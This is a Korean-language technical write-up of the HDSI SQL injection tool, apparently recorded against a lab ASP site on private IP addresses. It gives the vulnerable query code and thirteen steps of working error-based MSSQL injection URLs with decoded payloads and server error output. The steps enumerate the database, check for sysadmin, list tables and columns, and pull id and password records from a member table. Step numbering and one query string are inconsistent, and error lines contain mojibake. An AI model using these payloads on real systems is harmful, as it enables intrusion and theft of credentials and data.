HDSI 툴 분석

[sql injection 기술 명세서]

Sql injection 기술 명세서

Ver. 0.01

이 문서는 sql injection 기술 명세가 범위 입니다.

Mail: ox1111@hackersnews.org

개정이력				
버전	수정일자	재/개정 이력 설명	작성자	승인자
0.10	2009-01-23	초안 작성	장경칩	장경칩
0.11	2009-10-05	Filed type가져오기 수정 및 오타 수정	장경칩	장경칩

- 목 차 -

- 표 목차 -

- 그림 목차 -

1. 개요

1.1. 목적

이 문서는 기존 문서가 많이 있지만 내 나름대로 정리하는데 의의가 있고 HDSI 사용 명세와 SQL INJECTION를 기술적 접근을 명세화 시키는고 향후 SQL INJECTION TOOL를 만드는데 그 목적이 있다

1.2. 범위

HDSI 툴의 사용 명세와 SQL INECTION의 기술적 접근이 범위이다.

1.3. 정의 및 약어

용어	설명

표 1. 정의 및 약어 기술

1.4. 관련문서

1.5. 제약사항

N/A

2. HDSI 툴 분석

2.1. encode 분석

Encode 코드	Decode 코드
$20	space
Char(94)	^
Char(85)	U
%2B	+

2.2. 취약한 코드

```
ID = Request.QueryString("ID")

strSQL= "SELECT * FROM products WHERE product_id=" & ID & ";"
```

2.3. 단계별 공격 방법

STEP	CODE	설명
1	A-HDSI-01	실제 공격 가능 여부와 USER를 값을 가져온다.
2	A-HDSI-02	공격 시 사용할 DB 테이블을 생성한다.
3	A-HDSI-03	DB NAME를 가져온다.
4	A-HDSI-04	SA 계정인지 확인.
5	A-HDSI-05	프로시져 생성
6	A-HDSI-06	DB 테이블 개수 가져오기
7	A-HDSI-07	순서대로 DB테이블 이름 가져오기
8	A-HDSI-08	테이블의 필드 개수 가져오기
9	A-HDSI-09	테이블의 필드 이름 가져오기
10	A-HDSI-10	필드 TYPE가져오기
11	A-HDSI-11	레코드 개수 가져오기
12	A-HDSI-12	레코드의 값 가져오기
13	A-HDSI-13	사용한 테이블 삭제

2.4. 단계별 공격 분석

2.4.1. A-HDSI-01 (실제 공격 가능한지 테스트 해본다.)

실제 공격 내용	http://192.168.179.136/priamos/product.asp?ID=1%20and(char(94)%2Buser%2Bchar(94))>0
http method	GET /priamos/product.asp?ID=1%20and(char(94)%2Buser%2Bchar(94))>0
공격 코드 추출	ID=1%20and(char(94)%2Buser%2Bchar(94))>0
decode 분석	ID=1 and(^+user+^)>0 1) User > 0 를 한 이유는 user컬럼은 문자열타입 이므로 > 0를 하게 된다면 0이 숫자이므로 error유발하게 된다 Error를 유발해서 user값이 error페이지에 보일 수 있게 한다. 2) (^+user+^) 한 이유는 asp에서 error페이지를 보내줄 때 파싱이 용이하게 하기 위해 넣었다.
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 and(char(94)+user+char(94))>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 and(char(94)+user+char(94))>0;
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 오류 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^dbo^' to a column of data type int. /priamos/product.asp, 줄 66
Ticket number를 포함한 명령	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^^dbo^' to a column of data type int. /priamos/product.asp, 临 68

2.4.2. A-HDSI-02 (공격 시 사용될 db테이블 생성)

실제 공격 내용	http://192.168.179.136/priamos/product.asp?ID=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200))
http method	HEAD /priamos/product.asp?ID=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200))
공격 코드 추출	ID=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200))
decode 분석	ID=1;create table t_jiaozhu(jiaozhu varchar(200)) 1) t_jiaozhu라는 db 테이블 생성 2) jiaozhu컬럼 생성
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 ;create table t_jiaozhu(jiaozhu varchar(200)) & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1;create table t_jiaozhu(jiaozhu varchar(200));
Page error 내용	

2.4.3. A-HDSI-03 (db name 가져온다)

실제 공격 내용	http://192.168.179.136/priamos/product.asp?ID=1%20and(char(94)%2Bdb_name()%2Bchar(94))>0
http method	GET /priamos/product.asp?ID=1%20and(char(94)%2Bdb_name()%2Bchar(94))>0
공격 코드 추출	ID=1%20and(char(94)%2Bdb_name()%2Bchar(94))>0
decode 분석	ID=1 and(^+db_name()+^)>0 1) db_name()는 db이름을 가져온다
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 and(char(94)+db_name()+char(94))>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 and(char(94)+db_name()+char(94))>0;
실제 SQL TEST	SELECT 'database' = DB_NAME(), 'user' = USER_NAME(), 'login' = SUSER_NAME()
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^PRIAMOS^' to a column of data type int. /priamos/product.asp, 临 68

2.4.4. A-HDSI-04 (SA 계정 확인)

실제 공격 내용	http://192.168.179.136/priamos/product.asp? ID=1%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0
http method	GET /priamos/product.asp?ID=1%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0
공격 코드 추출	ID=1%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0
decode 분석	ID=1 And (^+cast(IS_SRVROLEMEMBER('sysadmin') as varchar(1))+^)>0 1) SA 계정인지 확인한다. 1이 리턴되면 SA계정이다.
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (char(94)+cast(IS_SRVROLEMEMBER('sysadmin') as varchar(1))+char(94))>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (char(94)+cast(IS_SRVROLEMEMBER('sysadmin') as varchar(1))+char(94))>0;
실제 SQL문 테스트	SELECT IS_SRVROLEMEMBER('sysadmin') as varchar
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^1^' to a column of data type int. /priamos/product.asp, 临 68

2.4.5. A-HDSI-05 (프로시저 생성)

실제 공격 내용	http://192.168.179.136/priamos/product.asp?ID=1;declare%20@a%20int--
http method	HEAD /priamos/product.asp?ID=1;declare%20@a%20int--
공격 코드 추출	ID=1;declare%20@a%20int--
decode 분석	ID=1;declare @a int— 1)
asp 코드에 **injection** 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1;declare @a int— & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1;declare @a int--;
실제 **SQL**문 테스트	
Page error 내용	

2.4.6. A-HDSI-06 (DB 테이블 개수 가져오기)

실제 공격 내용	http://192.168.179.136/priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20where%20xtype=char(85))=0
http method	GET /priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20where%20xtype=char(85))=0
공격 코드 추출	ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20where%20xtype=char(85))=0
decode 분석	ID=1 And (select ^+cast(count(1) as varchar(80))+^ from [PRIAMOS]..[sysobjects] Where xtype=U)=0 1) DB 테이블 개수 가져오기
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] where xtype=char(85))=0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] where xtype=char(85))=0;
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^8^' to a column of data type int. /priamos/product.asp, 临 68

2.4.7. A-HDSI-07 (순서 대로 DB 테이블 이름 가져오기)

실제 공격 내용	http://192.168.179.136/priamos/product.asp? ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20from (Select%20Top%201%20id,name%20from%20[PRIAMOS]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0
http method	GET /priamos/product.asp? ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20 from(Select%20Top%201%20id,name%20from%20[PRIAMOS]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0
공격 코드 추출	ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20 from(Select%20Top%201%20id,name%20from%20[PRIAMOS]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0
decode 분석	ID=1 And (Select Top 1 cast(^+name+^ as varchar(8000)) from(Select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=U order by name asc,id desc) T order by name desc,id asc)>0 1) 순서 대로 DB 테이블 개수 가져오기 2) from(Select Top 1 ~ from(Select Top 4 까지 요청한다.
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(Select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)> & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(Select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)>0;
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^D99_CMD^' to a column of data type int. /priamos/product.asp, 临 68

2.4.8. A-HDSI-08 (지정 테이블의 필드 개수 가져오기)

실제 공격 내용	http://192.168.11.128/priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[PRIAMOS]..[syscolumns]%20A,[PRIAMOS]..[sysobjects]%20B%20 where%20A.id=B.id%20and%20B.name='member')>0
http method	GET /priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[PRIAMOS]..[syscolumns]%20A,[PRIAMOS]..[sysobjects]%20B%20 where%20A.id=B.id%20and%20B.name='member')>0
공격 코드 추출	ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[PRIAMOS]..[syscolumns]%20A,[PRIAMOS]..[sysobjects]%20B%20 where%20A.id=B.id%20and%20B.name='member')>0
decode 분석	ID=1 And (select ^ +cast(count(1) as varchar(80)) + ^ from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0 지정 테이블의 필드 개수 가져오기 1) [member] 이 부분을 계속 변경해서 필드 개수를 구한다..
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0;
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^2^' to a column of data type int. /priamos/product.asp, 临 68

2.4.9. A-HDSI-09 (지정 테이블의 필드 이름 가져오기)

◆ 멤버 테이블에서 필드 이름(id)을 가져온다.

실제 공격 내용	http://192.168.179.136/priamos/product.asp? ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(Select%20Top%201%20B.name%20from%20[PRIAMOS]..[sysobjects]%20A%20,[PRIAMOS]..[syscolumns]%20B%20 where%20A.id=B.id%20and%20A.name='member'%20order%20by%20B.name%20asc)%20T%20order%20by%20name%20desc)>0
http method	GET /priamos/product.asp? ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(Select%20Top%201%20B.name%20from%20[PRIAMOS]..[sysobjects]%20A%20,[PRIAMOS]..[syscolumns]%20B%20 where%20A.id=B.id%20and%20A.name='member'%20order%20by%20B.name%20asc)%20T%20order%20by%20name%20desc)>0
공격 코드 추출	ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(Select%20Top%201%20B.name%20from%20[PRIAMOS]..[sysobjects]%20A%20,[PRIAMOS]..[syscolumns]%20B%20 where%20A.id=B.id%20and%20A.name='member'%20order%20by%20B.name%20asc)%20T%20order%20by%20name%20desc)>0
decode 분석	ID=1 And (select Top 1 cast(^ +name + ^ as varchar(80)) from(Select Top 1 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 1. 지정 테이블의 필드 이름 가져오기 2. from(select top 1 ~ from(select top2 를 변경하면서 데이터를 가져온다(필드 개수는 3.3.8참조) 3. 'member'를 변경하면서 각 테이블의 필드 이름을 가져온다.
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(Select Top 1 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(Select Top 1 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0;
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^id^' to a column of data type int. /priamos/product.asp, 临 68

◆ 멤버 테이블에서 필드 이름(passwd)을 가져온다.

실제 공격 내용	http://192.168.179.136/priamos/product.asp?ID=1%20And%20 (select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(Select%20Top%202%20B.name%20from%20[PRIAMOS]..[sysobjects]%20A%20,[PRIAMOS]..[syscolumns]%20B%20 where%20A.id=B.id%20and%20A.name='member'%20order%20by%20B.name%20asc)%20T%20order%20by%20name%20desc)>0
http method	GET /priamos/product.asp?ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(Select%20Top%202%20B.name%20from%20[PRIAMOS]..[sysobjects]%20A%20,[PRIAMOS]..[syscolumns]%20B%20 where%20A.id=B.id%20and%20A.name='member'%20order%20by%20B.name%20asc)%20T%20order%20by%20name%20desc)>0
공격 코드 추출	ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(Select%20Top%202%20B.name%20from%20[PRIAMOS]..[sysobjects]%20A%20,[PRIAMOS]..[syscolumns]%20B%20 where%20A.id=B.id%20and%20A.name='member'%20order%20by%20B.name%20asc)%20T%20order%20by%20name%20desc)>0
decode 분석	ID=1 And (select Top 1 cast(^ +name + ^ as varchar(80)) from(Select Top 2 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 1. 지정 테이블의 필드 이름 가져오기 2. from(select top 1 ~ from(select top2 를 변경하면서 데이터를 가져온다(필드 개수는 3.3.8참조) 3. 'member'를 변경하면서 각 테이블의 필드 이름을 가져온다.
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(Select Top 2 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(Select Top 2 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0;
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^passwd^' to a column of data type int. /priamos/product.asp, 临 68

2.4.10. A-HDSI-10 (지정 테이블의 필드 TYPE 가져오기)

실제 공격 내용	http://192.168.11.128/priamos/product.asp? ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20A,[PRIAMOS]..[syscolumns]%20B%20where%20A.id=B.id%20and%20A.name='member'%20and%20B.name='id')>0
http method	GET /priamos/product.asp? ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20A,[PRIAMOS]..[syscolumns]%20B%20where%20A.id=B.id%20and%20A.name='member'%20and%20B.name='id')>0
공격 코드 추출	ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20A,[PRIAMOS]..[syscolumns]%20B%20where%20A.id=B.id%20and%20A.name='member'%20and%20B.name='id')>0
decode 분석	ID=1 And (select Top 1 ^+cast(B.xtype as varchar(80))+^ from [PRIAMOS].. [sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0 필드의 type를 가져온다
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 char(94)+cast(B.xtype as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (select Top 1 char(94)+cast(B.xtype as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0;
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^175^' to a column of data type int. /priamos/product.asp, 临 68
필드 type 분석	175 : char 56 : int 35 :text, 167 : varcharr 239 :nchar 231: nvarchar

2.4.11. A-HDSI-10 (레코드 개수를 가져온다)

실제 공격 내용	http://192.168.11.128/priamos/product.asp? ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0
http method	GET /priamos/product.asp? ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0
공격 코드 추출	ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0
decode 분석	ID=1 And (Select ^ +Cast(Count(1) as varchar(8000)) + ^ From [PRIAMOS]..[member] Where 1=1)>0 레코드 개수 가져온다. 1) [member] 이 부분을 계속 변경해서 레코드 개수를 구한다..
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [PRIAMOS]..[member] Where 1=1)>0 & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1 And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [PRIAMOS]..[member] Where 1=1)>0;
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^3^' to a column of data type int. /priamos/product.asp, 临 68

2.4.12. A-HDSI-11 (레코드 값 가져오기)

실제 공격 내용	http://192.168.179.136/priamos/product.asp? ID=1And%20(select%20top%201%20char(94)%2Bcast(id%20as%20varchar(8000))%2Bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[PRIAMOS]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_TableName%20order%20by%20id%20asc,passwd%20desc%20)>0
http method	GET /priamos/product.asp?ID=1And%20(select%20top%201%20char(94)%2Bcast(id%20as%20varchar(8000))%2Bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[PRIAMOS]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_TableName%20order%20by%20id%20asc,passwd%20desc%20)>0
공격 코드 추출	ID=1And%20(select%20top%201%20char(94)%2Bcast(id%20as%20varchar(8000))%2Bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[PRIAMOS]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_TableName%20order%20by%20id%20asc,passwd%20desc%20)>0
decode 분석	ID=1 And (select top 1 ^ +cast(id as varchar(8000)) + ^ from (select top 2 id,passwd from [PRIAMOS]..[member] order by id desc,passwd asc) as as_TableName order by id asc,passwd desc)>0 1. 레코드값 가져오기 2. from(select top 1 ~ from(select top3 를 변경하면서 데이터를 가져온다(레코드 개수는 2.2..10참조) 3. 'member'를 변경하면서 각 레코드 값을 가져온다. 4. 레코드 값(id)을 가져온다면 위와 같이 필드 이름(id , passwd) 변경해서 레코드 값을 가져온다.
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast(^ +name + ^ as varchar(80)) from(Select Top 1 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";"
StrSQL 문자열	ID=1 And (select Top 1 cast(^ +name + ^ as varchar(80)) from(Select Top 1 B.name from [PRIAMOS]..[sysobjects] A ,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0
실제 SQL문 테스트	
Page error 내용	Microsoft OLE DB Provider for ODBC Drivers 坷幅 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^root ^' to a column of data type int. /priamos/product.asp, 临 68

2.4.13. A-HDSI-12 (사용한 테이블 삭제)

* HDSI에 없는 내용이지만 추가한 항목임.

실제 공격 내용	http://192.168.179.136/priamos/product.asp?ID=1;drop table t_jiaozhu
http method	GET /priamos/product.asp?ID=1;drop table t_jiaozhu
공격 코드 추출	ID=1;drop table t_jiaozhu
decode 분석	ID=1;drop table t_jiaozhu 1) 사용한 테이블 삭제
asp 코드에 injection 된 결과	strSQL= "SELECT * FROM products WHERE product_id=" & 1 ;drop table t_jiaozhu & ";"
StrSQL 문자열	SELECT * FROM products WHERE product_id=1;drop table t_jiaozhu;
Page error 내용	